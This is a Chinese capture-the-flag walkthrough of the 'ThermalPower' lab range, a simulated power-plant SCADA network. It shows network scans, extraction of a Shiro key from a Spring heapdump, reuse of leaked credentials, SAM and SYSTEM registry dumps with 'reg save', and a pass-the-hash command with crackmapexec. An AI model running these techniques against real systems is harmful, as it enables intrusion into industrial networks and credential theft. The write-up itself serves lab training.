春秋云镜-ThermalPower

渗透

春秋云镜-ThermalPower

flag01

评估暴露在公网的服务的安全性,尝试建立通向生产区的立足点。

fscan扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fscan -h 39.98.125.195 -nobr

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
39.98.125.195:8080 open
39.98.125.195:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.98.125.195:8080 code:302 len:0 title:None 跳转url: http://39.98.125.195:8080/login;jsessionid=EF15CCB240ED974AF43682CF928C11B3
[*] WebTitle http://39.98.125.195:8080/login;jsessionid=EF15CCB240ED974AF43682CF928C11B3 code:200 len:2936 title:火创 能源监控画面管理平台
[+] PocScan http://39.98.125.195:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://39.98.125.195:8080 poc-yaml-springboot-env-unauth spring2
已完成 2/2
[*] 扫描结束,耗时: 16.3040128s

又有heapdump,再看看8080端口

image-20250305122413368

看的这个Remember Me和刚刚fscan扫出来的heapdump就感觉又是shiro了

访问actuator/heapdump拿到heapdump,再用工具梭一下。

1
2
3
4
5
6
7
8
9
10
java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
......
===========================================

CookieRememberMeManager(ShiroKey)
-------------

algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES

===========================================

这次成功注入了,好像是我之前用的java版本的问题

image-20250305124232872

连接后直接在根目录读到flag

image-20250305124513164

flag01: flag{b2b78a85-a487-4afe-85c0-ed0493640810}

flag03

尝试接管 SCADA 工程师站,并启动锅炉。

扫一下内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
./fscan -h 172.22.17.213/24 

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.17.6 is alive
(icmp) Target 172.22.17.213 is alive
[*] Icmp alive hosts len is: 2
172.22.17.6:80 open
172.22.17.213:22 open
172.22.17.6:21 open
172.22.17.213:8080 open
172.22.17.6:445 open
172.22.17.6:139 open
172.22.17.6:135 open
[*] alive ports len is: 7
start vulscan
[*] NetBios 172.22.17.6 WORKGROUP\WIN-ENGINEER
[*] WebTitle http://172.22.17.213:8080 code:302 len:0 title:None 跳转url: http://172.22.17.213:8080/login;jsessionid=2E49C6115151E40DB73CFDBA3D0D554B
[*] NetInfo
[*]172.22.17.6
[->]WIN-ENGINEER
[->]172.22.17.6
[*] WebTitle http://172.22.17.213:8080/login;jsessionid=2E49C6115151E40DB73CFDBA3D0D554B code:200 len:2936 title:火创能源监控画面管理平台
[+] ftp 172.22.17.6:21:anonymous
[->]Modbus
[->]PLC
[->]web.config
[->]WinCC
[->]内部软件
[->]火创能源内部资料
[*] WebTitle http://172.22.17.6 code:200 len:661 title:172.22.17.6 - /
[+] PocScan http://172.22.17.213:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.22.17.213:8080 poc-yaml-springboot-env-unauth spring2

一共两台机子

172.22.17.6 WORKGROUP\WIN-ENGINEER
172.22.17.213 外网(已拿下)

发现172.22.17.6开了ftp,可以直接连或者访问80端口来下载这些文件

image-20250305125626612

发现内部资料里面有些好东西

image-20250305130218747

1
2
3
WIN-SCADA: 172.22.26.xx
Username: Administrator
Password: IYnT3GyCiy3

发现还有一个网段,我们再扫一下看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
./fscan -h 172.22.26.1/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.26.11 is alive
[*] Icmp alive hosts len is: 1
172.22.26.11:139 open
172.22.26.11:80 open
172.22.26.11:135 open
172.22.26.11:445 open
172.22.26.11:1433 open
[*] alive ports len is: 5
start vulscan
[*] NetBios 172.22.26.11 WORKGROUP\WIN-SCADA
[+] mssql 172.22.26.11:1433:sa 123456
[*] NetInfo
[*]172.22.26.11
[->]WIN-SCADA
[->]172.22.26.11
[*] WebTitle http://172.22.26.11 code:200 len:703 title:IIS Windows Server

直接用刚刚那个管理员账号rdp上去,点开锅炉就有了

image-20250305130635805

flag03: flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}

flag04

尝试获取 SCADA 工程师站中的数据库备份,并分析备份文件是否泄漏了敏感数据。

win+D返回桌面,发现我们的文件都被锁定了

image-20250305130935091

在桌面找到数据库加密后的文件,ScadaDB.sql.locky

然后在C盘底下找到Lockyou.exe,这个是.net写的,可以使用dotpeek来逆向分析。,可以看到这里使用了PRIVATE_KEY来解密AES_KEY_ENC,最后使用AES_KEY来加密文件。

image-20250305144547429

image-20250305144214288

然后题目给的网盘连接里面有encryptedAesKey和privateKey。那么思路很清晰了,先用私钥解密encryptedAesKey,然后用解密后的key来解密文件。

把xml格式的privateKey转换成pem格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+
PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3
YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr
rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17
8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox
RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN
UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz
J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ
vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk
Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/
xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0
VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd
FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy
PHvLZB6D8zSyuGw=
-----END PRIVATE KEY-----

解密在线RSA加密解密

image-20250305150518772

然后进行aes解密,这里的iv随便填16位就行,因为逆向可以发现,这个加密过程先写了16位的IV到加密文件中,而解密时,错误的 iv 只影响明文块的第一个 16 字节 block,也就是加密时写入的iv,所以不会影响解密结果。

image-20250305151217197

像我这里iv全0并不会影响解密结果。

image-20250305150911546

flag04: flag{63cd8cd5-151f-4f29-bdc7-f80312888158}

flag02

尝试接管 SCADA 工程师的个人 PC,并通过滥用 Windows 特权组提升至系统权限。

我们再回过来看第二个题,在ftp服务里面的内部资料里面说了密码规则和谁能登录

image-20250305131612485

直接用第一个SCADA工程师的账号登录

1
chenhua/chenhua@0813

发现chenhua是Backup Operators组内成员,默认情况下会授予该组 SeBackup 和 SeRestore 权限。

image-20250305133043214

但是我们查看权限,发现SeBackup权限并没有开,用这个开一下:PSBits/Misc/EnableSeBackupPrivilege.ps1

image-20250305140354099

1
Import-Module .\EnableSeBackupPrivilege.ps1

现在有这个权限了,可以选择用Privilege靶机的卷影拷贝的方法直接复制flag文件。

image-20250305140524408

法二:

这个题不需要特权也可以直接转储 sam&system 注册表:

1
2
3
4
5
PS C:\tmp> reg save hklm\sam sam.hive
文件 sam.hive 已经存在。要覆盖吗(Yes/No)?yes
操作成功完成。
PS C:\tmp> reg save hklm\system system.hive
操作成功完成。

image-20250305141454573

1
proxychains crackmapexec smb 172.22.17.6 -u administrator -Hf82292b7ac79b05d5b0e3d302bd0d279 -d xiaorang.lab -x "type Users\Administrator\flag\flag02.txt"

image-20250305141408612

flag02: flag{5a7d0356-e27c-43a8-9da5-d507d7ba4bc3}

参考文章:

ThermalPower - 春秋云境 | h0ny’s blog

文章 - 春秋云境-ThermalPower - 先知社区

春秋云境-ThermalPower – fushulingのblog